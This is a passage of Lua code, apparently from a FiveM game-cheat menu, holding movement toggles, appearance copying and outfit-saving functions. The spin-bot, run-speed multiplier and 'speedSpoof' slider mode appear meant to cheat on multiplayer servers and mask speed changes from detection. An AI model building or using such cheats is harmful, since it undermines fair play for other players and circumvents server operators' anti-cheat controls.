or sideInput ~= 0 then local cameraRotation = GetFinalRenderedCamRot and GetFinalRenderedCamRot(2) or GetGameplayCamRot(2) if cameraRotation then local heading = math.rad(cameraRotation.z) local negativeSin = -math.sin(heading) local cosine = math.cos(heading) local sine = math.sin(heading) local directionX = negativeSin * forwardInput + cosine * sideInput local directionY = cosine * forwardInput + sine * sideInput local magnitude = math.sqrt(directionX * directionX + directionY * directionY) if magnitude > 0.001 then directionX = directionX / magnitude directionY = directionY / magnitude end local moveSpeed = sprinting and sprintVelocity or walkVelocity SetEntityVelocity(playerPed, directionX * moveSpeed, directionY * moveSpeed, velocity.z) end else SetEntityVelocity(playerPed, 0.0, 0.0, velocity.z) end _G.pmSpinBotHeading = ((_G.pmSpinBotHeading or 0.0) + rotationSpeed) % 360.0 SetEntityHeading(playerPed, _G.pmSpinBotHeading) end end restoreSpinBotVehicle() _G.pmSpinBotThreadActive = false _G.pmSpinBotHeading = nil end) end function assembledMenuFunctions.toggleTinyPed(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState elseif menu.vars.bools then enabled = menu.vars.bools.tinyPed == true end if not enabled then local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then SetPedConfigFlag(playerPed, 223, false) SetPedCapsule(playerPed, 1.0) end return end if _G.pmTinyPedThreadActive then return end _G.pmTinyPedThreadActive = true Citizen.CreateThread(function() while menu.vars.bools and menu.vars.bools.tinyPed do Citizen.Wait(0) local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) then break end SetPedConfigFlag(playerPed, 223, true) SetPedCapsule(playerPed, 0.3) end local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then SetPedConfigFlag(playerPed, 223, false) SetPedCapsule(playerPed, 1.0) end _G.pmTinyPedThreadActive = false end) end function assembledMenuFunctions.toggleRunSpeed(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState elseif menu.vars.bools then enabled = menu.vars.bools.runSpeed == true end if enabled then if not menu.vars.sliders then menu.vars.sliders = {} end if menu.vars.sliders.runSpeedMult == nil then menu.vars.sliders.runSpeedMult = 1 end local speedMultiplier = tonumber(menu.vars.sliders.runSpeedMult) or 1 menu.vars.sliders.runSpeedMult = speedMultiplier if menu.functions and menu.functions.applyRunSpeed then menu.functions.applyRunSpeed(speedMultiplier) end if _G.pmRunSpeedThreadActive then return end _G.pmRunSpeedThreadActive = true Citizen.CreateThread(function() while menu.vars.bools and menu.vars.bools.runSpeed do Citizen.Wait(0) local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) or not IsPedOnFoot(playerPed) then break end local multiplier = tonumber(menu.vars.sliders and menu.vars.sliders.runSpeedMult) or 1 local playerId = PlayerId() if type(SetRunSprintMultiplierForPlayer) == "function" then SetRunSprintMultiplierForPlayer(playerId, multiplier * 1.0) end if type(SetPedMoveRateOverride) ~= "function" then break end SetPedMoveRateOverride(playerPed, multiplier * 1.0) end local playerPed = PlayerPedId() local playerId = PlayerId() if type(SetRunSprintMultiplierForPlayer) == "function" then SetRunSprintMultiplierForPlayer(playerId, 1.0) end if playerPed ~= 0 and DoesEntityExist(playerPed) and type(SetPedMoveRateOverride) == "function" then SetPedMoveRateOverride(playerPed, 1.0) end _G.pmRunSpeedThreadActive = false end) else local playerPed = PlayerPedId() local playerId = PlayerId() if type(SetRunSprintMultiplierForPlayer) == "function" then SetRunSprintMultiplierForPlayer(playerId, 1.0) end if playerPed ~= 0 and DoesEntityExist(playerPed) and type(SetPedMoveRateOverride) == "function" then SetPedMoveRateOverride(playerPed, 1.0) end end menu.utils.notifyToggle("Run Speed", enabled) end function assembledMenuFunctions.toggleSliderMode(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState elseif menu.vars.bools then enabled = menu.vars.bools.sliderMode == true end if enabled then if not menu.vars.sliders then menu.vars.sliders = {} end if menu.vars.sliders.sliderModeSpeed == nil then menu.vars.sliders.sliderModeSpeed = 0.5 end local speed = tonumber(menu.vars.sliders.sliderModeSpeed) or 0.5 menu.vars.sliders.sliderModeSpeed = speed if menu.functions and menu.functions.applySliderModeSpeed then menu.functions.applySliderModeSpeed(speed) elseif Ham and Ham.speedSpoof then Ham.speedSpoof(true) end if _G.pmSliderModeThreadActive then return end _G.pmSliderModeThreadActive = true Citizen.CreateThread(function() local disableRagdoll = true while menu.vars.bools and menu.vars.bools.sliderMode do Citizen.Wait(0) local playerPed = PlayerPedId() if disableRagdoll then if CanPedRagdoll(playerPed) then SetPedCanRagdoll(playerPed, false) end elseif not CanPedRagdoll(playerPed) then SetPedCanRagdoll(playerPed, true) end if not IsPedOnFoot(playerPed) then break end local forwardInput, sideInput = 0, 0 if menu.utils and menu.utils.getMoveAxisInput then forwardInput, sideInput = menu.utils.getMoveAxisInput() else if IsControlPressed(0, 32) then forwardInput = forwardInput + 1 end if IsControlPressed(0, 33) then forwardInput = forwardInput - 1 end if IsControlPressed(0, 34) then sideInput = sideInput - 1 end if IsControlPressed(0, 35) then sideInput = sideInput + 1 end end if forwardInput == 0 and sideInput == 0 then break end local speed = tonumber(menu.vars.sliders and menu.vars.sliders.sliderModeSpeed) or 0.5 local forward = GetEntityForwardVector(playerPed) local forceX = forward.x * forwardInput + forward.y * sideInput local forceY = forward.y * forwardInput - forward.x * sideInput ApplyForceToEntity( playerPed, 1, forceX * speed, forceY * speed, 0.0, 0, 0, 0, 0, false, true, true, false, true ) end _G.pmSliderModeThreadActive = false end) return end if Ham and Ham.speedSpoof then Ham.speedSpoof(false) end local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) then SetPedCanRagdoll(playerPed, true) end end function assembledMenuFunctions.parseHeadBlendFromPed(ped) ped = ped or PlayerPedId() local shapeFirst, shapeSecond, shapeThird local skinFirst, skinSecond, skinThird local shapeMix, skinMix, thirdMix local function isValidBlendIndex(value) local numberValue = tonumber(value) return numberValue ~= nil and numberValue >= 0 end if Citizen and Citizen.InvokeNative and Citizen.PointerValueIntInitialized and Citizen.PointerValueFloatInitialized then local success, firstShape, secondShape, thirdShape, firstSkin, secondSkin, thirdSkin, firstMix, secondMix, thirdMixValue = pcall( Citizen.InvokeNative, 2830157900151113168, ped, Citizen.PointerValueIntInitialized(0), Citizen.PointerValueIntInitialized(0), Citizen.PointerValueIntInitialized(0), Citizen.PointerValueIntInitialized(0), Citizen.PointerValueIntInitialized(0), Citizen.PointerValueIntInitialized(0), Citizen.PointerValueFloatInitialized(0), Citizen.PointerValueFloatInitialized(0), Citizen.PointerValueFloatInitialized(0) ) if success and type(firstShape) == "number" and type(firstSkin) == "number" then shapeFirst, shapeSecond, shapeThird = firstShape, secondShape, thirdShape skinFirst, skinSecond, skinThird = firstSkin, secondSkin, thirdSkin shapeMix = tonumber(firstMix) skinMix = tonumber(secondMix) thirdMix = tonumber(thirdMixValue) end end if shapeFirst == nil then local blendData = table.pack(GetPedHeadBlendData(ped)) if blendData.n >= 7 then local offset = (type(blendData[1]) == "boolean" or blendData.n >= 10) and 1 or 0 shapeFirst = blendData[1 + offset] shapeSecond = blendData[2 + offset] shapeThird = blendData[3 + offset] skinFirst = blendData[4 + offset] skinSecond = blendData[5 + offset] skinThird = blendData[6 + offset] shapeMix = blendData[7 + offset] skinMix = blendData[8 + offset] thirdMix = blendData[9 + offset] end end local resolvedShapeFirst = isValidBlendIndex(shapeFirst) and shapeFirst or nil local resolvedSkinFirst = isValidBlendIndex(skinFirst) and skinFirst or nil local blend = { shapeFirst = resolvedShapeFirst or 0, shapeSecond = isValidBlendIndex(shapeSecond) and shapeSecond or resolvedShapeFirst or 0, shapeThird = isValidBlendIndex(shapeThird) and shapeThird or 0, skinFirst = resolvedSkinFirst or 0, skinSecond = isValidBlendIndex(skinSecond) and skinSecond or resolvedSkinFirst or 0, skinThird = isValidBlendIndex(skinThird) and skinThird or 0, shapeMix = shapeMix or 1.0, skinMix = skinMix or 1.0, thirdMix = thirdMix or 1.0 } return resolvedShapeFirst, resolvedSkinFirst, blend end function assembledMenuFunctions.resolveHeadBlendFromPed(ped, preferSliders) ped = ped or PlayerPedId() local face, skin, blend = menu.functions.parseHeadBlendFromPed(ped) local function isValidBlendIndex(value) local numberValue = tonumber(value) return numberValue ~= nil and numberValue >= 0 end if menu and menu.vars and menu.vars.sliders then if preferSliders then if isValidBlendIndex(menu.vars.sliders.skinFace) then face = menu.vars.sliders.skinFace end if isValidBlendIndex(menu.vars.sliders.skinSkin) then skin = menu.vars.sliders.skinSkin end else if face == nil and isValidBlendIndex(menu.vars.sliders.skinFace) then face = menu.vars.sliders.skinFace end if skin == nil and isValidBlendIndex(menu.vars.sliders.skinSkin) then skin = menu.vars.sliders.skinSkin end end end face = face or 0 skin = skin or 0 blend.shapeFirst = face blend.shapeSecond = face blend.skinFirst = skin blend.skinSecond = skin return face, skin, blend end function assembledMenuFunctions.captureFreemodeAppearanceFromPed(ped) if not ped or ped == 0 or not DoesEntityExist(ped) then return nil end local face, skin, blend = menu.functions.parseHeadBlendFromPed(ped) face = face or 0 skin = skin or 0 local appearance = { model = GetEntityModel(ped), face = face, skin = skin, blend = blend, components = {}, props = {}, overlays = {}, faceFeatures = {} } local hairColor = {} rawset(hairColor, 1, GetPedHairColor(ped)) local highlightResults = table.pack(GetPedHairHighlightColor(ped)) for resultIndex = 1, highlightResults.n do rawset(hairColor, 1 + resultIndex, highlightResults[resultIndex]) end appearance.hairColor = hairColor appearance.eyeColor = GetPedEyeColor(ped) for componentIndex = 0, 11 do local component = {} rawset(component, 1, GetPedDrawableVariation(ped, componentIndex)) rawset(component, 2, GetPedTextureVariation(ped, componentIndex)) local paletteResults = table.pack(GetPedPaletteVariation(ped, componentIndex)) for resultIndex = 1, paletteResults.n do rawset(component, 2 + resultIndex, paletteResults[resultIndex]) end appearance.components[componentIndex] = component end for propIndex = 0, 7 do local prop = {} rawset(prop, 1, GetPedPropIndex(ped, propIndex)) local textureResults = table.pack(GetPedPropTextureIndex(ped, propIndex)) for resultIndex = 1, textureResults.n do rawset(prop, 1 + resultIndex, textureResults[resultIndex]) end appearance.props[propIndex] = prop end for overlayIndex = 0, 12 do if GetPedHeadOverlayData then local success, value, colorType, firstColor, secondColor, opacity = GetPedHeadOverlayData(ped, overlayIndex) if success then appearance.overlays[overlayIndex] = { value, colorType, firstColor, secondColor, opacity } end else local overlay = {} local overlayResults = table.pack(GetPedHeadOverlayValue(ped, overlayIndex)) for resultIndex = 1, overlayResults.n do rawset(overlay, resultIndex, overlayResults[resultIndex]) end appearance.overlays[overlayIndex] = overlay end end for featureIndex = 0, 19 do appearance.faceFeatures[featureIndex] = GetPedFaceFeature(ped, featureIndex) end return appearance end function assembledMenuFunctions.copyAppearanceFromTargetPed(targetPed) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return false end local appearancePed = targetPed local clonedPed = ClonePed(targetPed, 0.0, false, false) if clonedPed and clonedPed ~= 0 and DoesEntityExist(clonedPed) then appearancePed = clonedPed SetEntityAsMissionEntity(clonedPed, true, true) SetEntityVisible(clonedPed, false, false) Wait(0) end local appearance = menu.functions.captureFreemodeAppearanceFromPed(appearancePed) if clonedPed and clonedPed ~= 0 and DoesEntityExist(clonedPed) then DeleteEntity(clonedPed) end if not appearance then return false end local face, skin, blend = appearance.face, appearance.skin, appearance.blend local savedWeapons = menu.utils.savePlayerWeapons() local savedVehicle = menu.utils.savePlayerVehicle() local model = appearance.model if model then RequestModel(model) while not HasModelLoaded(model) do Wait(0) end SetPlayerModel(PlayerId(), model) SetModelAsNoLongerNeeded(model) end Wait(100) local playerPed = PlayerPedId() SetPedDefaultComponentVariation(playerPed) SetPedHeadBlendData(playerPed, 0, 0, 0, 0, 0, 0, 0.0, 0.0, 0.0, true) Wait(50) playerPed = PlayerPedId() for componentIndex = 0, 11 do local component = appearance.components[componentIndex] if component then SetPedComponentVariation(playerPed, componentIndex, component[1], component[2], component[3]) end end for propIndex = 0, 7 do local prop = appearance.props[propIndex] if prop then if prop[1] == -1 then ClearPedProp(playerPed, propIndex) else SetPedPropIndex(playerPed, propIndex, prop[1], prop[2], true) end end end if appearance.hairColor then SetPedHairColor(playerPed, appearance.hairColor[1] or 0, appearance.hairColor[2] or 0) end if appearance.eyeColor then SetPedEyeColor(playerPed, appearance.eyeColor) end local primaryHairColor = appearance.hairColor and appearance.hairColor[1] or 0 local secondaryHairColor = appearance.hairColor and appearance.hairColor[2] or 0 for overlayIndex = 0, 12 do local overlay = appearance.overlays[overlayIndex] if overlay then if GetPedHeadOverlayData and #overlay >= 5 then if overlay[1] ~= 255 then SetPedHeadOverlay(playerPed, overlayIndex, overlay[1], overlay[5] or 1.0) SetPedHeadOverlayColor( playerPed, overlayIndex, overlay[2] or 0, overlay[3] or 0, overlay[4] or 0 ) else SetPedHeadOverlay(playerPed, overlayIndex, 255, 0.0) end elseif overlay[1] and overlay[1] ~= 255 then SetPedHeadOverlay(playerPed, overlayIndex, overlay[1], 1.0) if overlayIndex == 1 or overlayIndex == 2 or overlayIndex == 10 then SetPedHeadOverlayColor(playerPed, overlayIndex, 1, primaryHairColor, secondaryHairColor) elseif overlayIndex == 4 or overlayIndex == 5 or overlayIndex == 8 then SetPedHeadOverlayColor(playerPed, overlayIndex, 2, primaryHairColor, secondaryHairColor) end else SetPedHeadOverlay(playerPed, overlayIndex, 255, 0.0) end end end for featureIndex = 0, 19 do if appearance.faceFeatures[featureIndex] ~= nil then SetPedFaceFeature(playerPed, featureIndex, appearance.faceFeatures[featureIndex]) end end Wait(0) SetPedHeadBlendData( playerPed, blend.shapeFirst, blend.shapeSecond, blend.shapeThird, blend.skinFirst, blend.skinSecond, blend.skinThird, blend.shapeMix or 1.0, blend.skinMix or 1.0, blend.thirdMix or 1.0, true ) Wait(0) SetPedHeadBlendData(playerPed, face, face, face, skin, skin, skin, 1.0, 1.0, 1.0, true) if menu.vars and menu.vars.sliders then menu.vars.sliders.skinFace = face menu.vars.sliders.skinSkin = skin end menu.utils.restorePlayerWeapons(savedWeapons) menu.utils.restorePlayerVehicle(savedVehicle) return true end function assembledMenuFunctions.resolveEyebrowDataForSave(ped) ped = ped or PlayerPedId() local style, opacity, firstColor, secondColor = menu.functions.readPedHeadOverlay(ped, 2) local hasOverlay = style ~= nil and style ~= 255 and (opacity or 0) > 0 local thickness = tonumber(menu.vars.sliders and menu.vars.sliders.skinEyebrowsThickness) or 0 local configuredStyle = menu.vars.sliders and menu.vars.sliders.skinEyebrowsStyle if hasOverlay then return style, opacity, firstColor or 0, secondColor or firstColor or 0 end if thickness > 0 and configuredStyle ~= nil then style = math.max(0, math.min(33, menu.functions.normalizeHeadOverlaySlider(configuredStyle))) firstColor = menu.vars.sliders.skinEyebrowsColor1 if firstColor == nil then firstColor = menu.vars.sliders.skinHairColor1 or GetPedHairColor(ped) or 0 end secondColor = menu.vars.sliders.skinEyebrowsColor2 if secondColor == nil then secondColor = firstColor end return style, thickness / 10.0, firstColor, secondColor end style = GetPedHeadOverlayValue(ped, 2) if style ~= nil and style ~= 255 and style >= 0 then opacity = thickness > 0 and thickness / 10.0 or 1.0 firstColor = menu.vars.sliders.skinEyebrowsColor1 if not firstColor then firstColor = menu.vars.sliders.skinHairColor1 or GetPedHairColor(ped) or 0 end secondColor = menu.vars.sliders.skinEyebrowsColor2 or firstColor return style, opacity, firstColor, secondColor end return 255, 0.0, 0, 0 end function assembledMenuFunctions.getOutfitEyebrowFields(outfit) if not outfit then return nil, nil, nil, nil end local style = outfit.eyebrows_1 if style == nil then style = outfit.eyebrow_1 end local opacity = outfit.eyebrows_opacity if opacity == nil then local thickness = outfit.eyebrows_2 if thickness == nil then thickness = outfit.eyebrow_2 end if thickness ~= nil then opacity = thickness / 10.0 end end local firstColor = outfit.eyebrows_3 if firstColor == nil then firstColor = outfit.eyebrow_3 end local secondColor = outfit.eyebrows_4 if secondColor == nil then secondColor = outfit.eyebrow_4 end return style, opacity, firstColor, secondColor end function assembledMenuFunctions.mergeOutfitComponents(outfit, existingComponents) local preservedFields = { face = true, skin = true, eyebrows_1 = true, eyebrows_2 = true, eyebrows_opacity = true, eyebrows_3 = true, eyebrows_4 = true, eyebrow_1 = true, eyebrow_2 = true, eyebrow_3 = true, eyebrow_4 = true, headBlendData = true } local merged = {} if type(existingComponents) == "table" then for key, value in pairs(existingComponents) do merged[key] = value end end if type(outfit) == "table" then for key, value in pairs(outfit) do if merged[key] == nil or preservedFields[key] then merged[key] = value end end end return merged end function assembledMenuFunctions.readPedHeadOverlay(ped, overlayIndex) if GetPedHeadOverlayData then local first, second, third, fourth, fifth, sixth = GetPedHeadOverlayData(ped, overlayIndex) local value, colorType, firstColor, secondColor, opacity if type(first) == "boolean" then if first then value, colorType, firstColor, secondColor, opacity = second, third, fourth, fifth, sixth end else value, colorType, firstColor, secondColor, opacity = first, second, third, fourth, fifth end if value ~= nil then if value == 255 or value < 0 then return 255, 0.0, firstColor or 0, secondColor or 0 end if opacity == nil or opacity < 0 then opacity = 1.0 end return value, opacity, firstColor or 0, secondColor or 0 end end local value = GetPedHeadOverlayValue(ped, overlayIndex) if value == nil or value == 255 or value < 0 then return 255, 0.0, 0, 0 end return value, 1.0, 0, 0 end function assembledMenuFunctions.normalizeHeadOverlaySlider(value) local numberValue = tonumber(value) if numberValue == nil or numberValue == 255 or numberValue < 0 then return 0 end return math.floor(numberValue + 0.5) end function assembledMenuFunctions.syncEyebrowSlidersFromPed(ped) ped = ped or PlayerPedId() local style, opacity, firstColor, secondColor = menu.functions.readPedHeadOverlay(ped, 2) if style == 255 or (opacity or 0) <= 0 then local thickness = tonumber(menu.vars.sliders and menu.vars.sliders.skinEyebrowsThickness) or 0 if thickness > 0 and menu.vars.sliders.skinEyebrowsStyle ~= nil then return end menu.vars.sliders.skinEyebrowsStyle = 0 menu.vars.sliders.skinEyebrowsThickness = 0 menu.vars.sliders.skinEyebrowsColor1 = 0 menu.vars.sliders.skinEyebrowsColor2 = 0 return end menu.vars.sliders.skinEyebrowsStyle = style local thickness = math.floor((opacity or 1.0) * 10 + 0.5) menu.vars.sliders.skinEyebrowsThickness = thickness > 0 and thickness or 10 menu.vars.sliders.skinEyebrowsColor1 = firstColor or 0 menu.vars.sliders.skinEyebrowsColor2 = secondColor or 0 end function assembledMenuFunctions.applyEyebrowOverlayFromSliders(entity, changedField) entity = entity or PlayerPedId() if entity == 0 or not DoesEntityExist(entity) then return end local model = GetEntityModel(entity) if model ~= GetHashKey("mp_m_freemode_01") and model ~= GetHashKey("mp_f_freemode_01") then return end local style = menu.functions.normalizeHeadOverlaySlider(menu.vars.sliders.skinEyebrowsStyle) style = math.max(0, math.min(33, style)) local thickness = menu.vars.sliders.skinEyebrowsThickness or 0 local opacity = thickness / 10.0 local styleOrThicknessChanged = changedField == "skinEyebrowsStyle" or changedField == "skinEyebrowsThickness" if changedField == "skinEyebrowsStyle" and opacity <= 0 then opacity = 1.0 thickness = 10 menu.vars.sliders.skinEyebrowsThickness = 10 end if opacity <= 0 then if styleOrThicknessChanged then SetPedHeadOverlay(entity, 2, 255, 0.0) SetPedHeadOverlayColor(entity, 2, 1, 0, 0) end return end local firstColor = menu.vars.sliders.skinEyebrowsColor1 if firstColor == nil then firstColor = menu.vars.sliders.skinHairColor1 or GetPedHairColor(entity) or 0 end local secondColor = menu.vars.sliders.skinEyebrowsColor2 if secondColor == nil then secondColor = firstColor end SetPedHeadOverlay(entity, 2, 255, 0.0) SetPedHeadOverlay(entity, 2, style, opacity) SetPedHeadOverlayColor(entity, 2, 1, firstColor, secondColor) end function assembledMenuFunctions.applyBeardOverlayFromSliders(entity) entity = entity or PlayerPedId() if entity == 0 or not DoesEntityExist(entity) then return end local style = menu.functions.normalizeHeadOverlaySlider(menu.vars.sliders.skinBeard1) style = math.max(0, math.min(28, style)) local firstColor = menu.vars.sliders.skinBeard2 or 0 local secondColor = menu.vars.sliders.skinBeard3 or 0 if style <= 0 then SetPedHeadOverlay(entity, 1, 255, 0.0) SetPedHeadOverlayColor(entity, 1, 1, 0, 0) return end SetPedHeadOverlay(entity, 1, style, 1.0) SetPedHeadOverlayColor(entity, 1, 1, firstColor, secondColor) end function assembledMenuFunctions.setSkinComponent(value, fieldName) local playerPed = PlayerPedId() if fieldName ~= nil and value ~= nil then menu.vars.sliders[fieldName] = value end local selectedValue = menu.vars.sliders[fieldName] or 0 if not menu.vars.sliders[fieldName] then menu.vars.sliders[fieldName] = 0 end if fieldName == "skinFace" or fieldName == "skinSkin" then local face = menu.vars.sliders.skinFace or 0 local skin = menu.vars.sliders.skinSkin or 0 SetPedHeadBlendData(playerPed, face, face, face, skin, skin, skin, 1.0, 1.0, 1.0, true) elseif fieldName == "skinHair" then SetPedComponentVariation(playerPed, 2, selectedValue, menu.vars.sliders.skinHairColor2 or 0, 2) elseif fieldName == "skinHairColor1" or fieldName == "skinHairColor2" then SetPedHairColor(playerPed, menu.vars.sliders.skinHairColor1 or 0, menu.vars.sliders.skinHairColor2 or 0) elseif fieldName == "skinTorso1" or fieldName == "skinTorso2" then SetPedComponentVariation( playerPed, 11, menu.vars.sliders.skinTorso1 or 0, menu.vars.sliders.skinTorso2 or 0, 2 ) elseif fieldName == "skinArms" then SetPedComponentVariation(playerPed, 3, selectedValue, 0, 2) elseif fieldName == "skinTshirt1" or fieldName == "skinTshirt2" then SetPedComponentVariation( playerPed, 8, menu.vars.sliders.skinTshirt1 or 0, menu.vars.sliders.skinTshirt2 or 0, 2 ) elseif fieldName == "skinPants1" or fieldName == "skinPants2" then SetPedComponentVariation( playerPed, 4, menu.vars.sliders.skinPants1 or 0, menu.vars.sliders.skinPants2 or 0, 2 ) elseif fieldName == "skinShoes1" or fieldName == "skinShoes2" then SetPedComponentVariation( playerPed, 6, menu.vars.sliders.skinShoes1 or 0, menu.vars.sliders.skinShoes2 or 0, 2 ) elseif fieldName == "skinMask1" or fieldName == "skinMask2" then SetPedComponentVariation( playerPed, 1, menu.vars.sliders.skinMask1 or 0, menu.vars.sliders.skinMask2 or 0, 2 ) elseif fieldName == "skinBproof1" or fieldName == "skinBproof2" then SetPedComponentVariation( playerPed, 9, menu.vars.sliders.skinBproof1 or 0, menu.vars.sliders.skinBproof2 or 0, 2 ) elseif fieldName == "skinBags1" or fieldName == "skinBags2" then SetPedComponentVariation( playerPed, 5, menu.vars.sliders.skinBags1 or 0, menu.vars.sliders.skinBags2 or 0, 2 ) elseif fieldName == "skinDecals1" or fieldName == "skinDecals2" then SetPedComponentVariation( playerPed, 10, menu.vars.sliders.skinDecals1 or 0, menu.vars.sliders.skinDecals2 or 0, 2 ) elseif fieldName == "skinChain1" or fieldName == "skinChain2" then SetPedComponentVariation( playerPed, 7, menu.vars.sliders.skinChain1 or 0, menu.vars.sliders.skinChain2 or 0, 2 ) elseif fieldName == "skinHelmet1" or fieldName == "skinHelmet2" then local drawable = menu.vars.sliders.skinHelmet1 or -1 local texture = menu.vars.sliders.skinHelmet2 or 0 if drawable >= 0 then SetPedPropIndex(playerPed, 0, drawable, texture, true) else ClearPedProp(playerPed, 0) end elseif fieldName == "skinGlasses1" or fieldName == "skinGlasses2" then local drawable = menu.vars.sliders.skinGlasses1 or -1 local texture = menu.vars.sliders.skinGlasses2 or 0 if drawable >= 0 then SetPedPropIndex(playerPed, 1, drawable, texture, true) else ClearPedProp(playerPed, 1) end elseif fieldName == "skinEars1" or fieldName == "skinEars2" then local drawable = menu.vars.sliders.skinEars1 or -1 local texture = menu.vars.sliders.skinEars2 or 0 if drawable >= 0 then SetPedPropIndex(playerPed, 2, drawable, texture, true) else ClearPedProp(playerPed, 2) end elseif fieldName == "skinBeard1" or fieldName == "skinBeard2" or fieldName == "skinBeard3" then menu.functions.applyBeardOverlayFromSliders(playerPed) elseif fieldName == "skinEyebrowsStyle" or fieldName == "skinEyebrowsThickness" then menu.functions.applyEyebrowOverlayFromSliders(playerPed, fieldName) return end if (menu.vars.sliders.skinEyebrowsThickness or 0) > 0 then menu.functions.applyEyebrowOverlayFromSliders(playerPed, fieldName) end end function assembledMenuFunctions.resetSkinToDefault() local playerPed = PlayerPedId() local sliders = menu.vars.sliders sliders.skinFace = 0 sliders.skinSkin = 0 sliders.skinHair = 0 sliders.skinHairColor1 = 0 sliders.skinHairColor2 = 0 sliders.skinTorso1 = 0 sliders.skinTorso2 = 0 sliders.skinArms = 0 sliders.skinTshirt1 = 0 sliders.skinTshirt2 = 0 sliders.skinPants1 = 0 sliders.skinPants2 = 0 sliders.skinShoes1 = 0 sliders.skinShoes2 = 0 sliders.skinMask1 = 0 sliders.skinMask2 = 0 sliders.skinBproof1 = 0 sliders.skinBproof2 = 0 sliders.skinBags1 = 0 sliders.skinBags2 = 0 sliders.skinDecals1 = 0 sliders.skinDecals2 = 0 sliders.skinChain1 = 0 sliders.skinChain2 = 0 sliders.skinHelmet1 = -1 sliders.skinHelmet2 = 0 sliders.skinGlasses1 = -1 sliders.skinGlasses2 = 0 sliders.skinEars1 = -1 sliders.skinEars2 = 0 sliders.skinBeard1 = 0 sliders.skinBeard2 = 0 sliders.skinBeard3 = 0 sliders.skinEyebrowsStyle = 0 sliders.skinEyebrowsThickness = 0 SetPedHeadBlendData(playerPed, 0, 0, 0, 0, 0, 0, 1.0, 1.0, 1.0, true) SetPedComponentVariation(playerPed, 2, 0, 0, 2) SetPedHairColor(playerPed, 0, 0) SetPedComponentVariation(playerPed, 11, 0, 0, 2) SetPedComponentVariation(playerPed, 3, 0, 0, 2) SetPedComponentVariation(playerPed, 8, 0, 0, 2) SetPedComponentVariation(playerPed, 4, 0, 0, 2) SetPedComponentVariation(playerPed, 6, 0, 0, 2) SetPedComponentVariation(playerPed, 1, 0, 0, 2) SetPedComponentVariation(playerPed, 9, 0, 0, 2) SetPedComponentVariation(playerPed, 5, 0, 0, 2) SetPedComponentVariation(playerPed, 10, 0, 0, 2) SetPedComponentVariation(playerPed, 7, 0, 0, 2) ClearPedProp(playerPed, 0) ClearPedProp(playerPed, 1) ClearPedProp(playerPed, 2) SetPedHeadOverlay(playerPed, 1, 0, 0.0) SetPedHeadOverlayColor(playerPed, 1, 1, 0, 0) SetPedHeadOverlay(playerPed, 2, 0, 0.0) SetPedHeadOverlayColor(playerPed, 2, 1, 0, 0) menu.utils.notify("Skin reset to default", "success", 3000) end function assembledMenuFunctions.saveCurrentOutfit() local playerPed = PlayerPedId() local thickness = tonumber(menu.vars.sliders and menu.vars.sliders.skinEyebrowsThickness) or 0 if thickness > 0 and menu.functions.applyEyebrowOverlayFromSliders then menu.functions.applyEyebrowOverlayFromSliders(playerPed) Wait(0) playerPed = PlayerPedId() end if menu.functions.syncEyebrowSlidersFromPed then menu.functions.syncEyebrowSlidersFromPed(playerPed) end local face, skin, headBlendData = menu.functions.resolveHeadBlendFromPed(playerPed, true) local eyebrowStyle, eyebrowOpacity, eyebrowColor1, eyebrowColor2 = menu.functions.resolveEyebrowDataForSave(playerPed) local outfit = { face = face, skin = skin, hair_1 = GetPedDrawableVariation(playerPed, 2), hair_2 = GetPedTextureVariation(playerPed, 2), hair_color_1 = GetPedHairColor(playerPed), hair_color_2 = GetPedHairHighlightColor(playerPed), torso_1 = GetPedDrawableVariation(playerPed, 11), torso_2 = GetPedTextureVariation(playerPed, 11), arms = GetPedDrawableVariation(playerPed, 3), tshirt_1 = GetPedDrawableVariation(playerPed, 8), tshirt_2 = GetPedTextureVariation(playerPed, 8), pants_1 = GetPedDrawableVariation(playerPed, 4), pants_2 = GetPedTextureVariation(playerPed, 4), shoes_1 = GetPedDrawableVariation(playerPed, 6), shoes_2 = GetPedTextureVariation(playerPed, 6), mask_1 = GetPedDrawableVariation(playerPed, 1), mask_2 = GetPedTextureVariation(playerPed, 1), bproof_1 = GetPedDrawableVariation(playerPed, 9), bproof_2 = GetPedTextureVariation(playerPed, 9), bags_1 = GetPedDrawableVariation(playerPed, 5), bags_2 = GetPedTextureVariation(playerPed, 5), decals_1 = GetPedDrawableVariation(playerPed, 10), decals_2 = GetPedTextureVariation(playerPed, 10), chain_1 = GetPedDrawableVariation(playerPed, 7), chain_2 = GetPedTextureVariation(playerPed, 7), helmet_1 = GetPedPropIndex(playerPed, 0), helmet_2 = GetPedPropTextureIndex(playerPed, 0), glasses_1 = GetPedPropIndex(playerPed, 1), glasses_2 = GetPedPropTextureIndex(playerPed, 1), ears_1 = GetPedPropIndex(playerPed, 2), ears_2 = GetPedPropTextureIndex(playerPed, 2), beard_1 = GetPedHeadOverlayValue(playerPed, 1), beard_2 = 0, beard_3 = 0, eyebrows_1 = eyebrowStyle, eyebrows_2 = math.floor((eyebrowOpacity or 0) * 10 + 0.5), eyebrows_opacity = eyebrowOpacity, eyebrows_3 = eyebrowColor1, eyebrows_4 = eyebrowColor2, eyebrow_1 = eyebrowStyle, eyebrow_2 = math.floor((eyebrowOpacity or 0) * 10 + 0.5), eyebrow_3 = eyebrowColor1, eyebrow_4 = eyebrowColor2, headBlendData = headBlendData } menu.ui.promptText({ title = "Save Outfit", label = "Enter outfit name:", default = "", maxLen = 32 }, function(outfitName, cancelled) if cancelled or not outfitName or outfitName == "" then outfitName = "Outfit " .. GetGameTimer() end menu.utils.notify("Saving outfit...", "info", 1500) menu.panelApi.createOutfit(outfitName, outfit, nil, function(createdOutfit, errorMessage) if errorMessage then menu.utils.notify("Failed to save outfit: " .. tostring(errorMessage), "error", 3000) return end if not menu.vars.panelOutfits then menu.vars.panelOutfits = {} end if createdOutfit then createdOutfit.components = menu.functions.mergeOutfitComponents(outfit, createdOutfit.components) end table.insert(menu.vars.panelOutfits, createdOutfit) 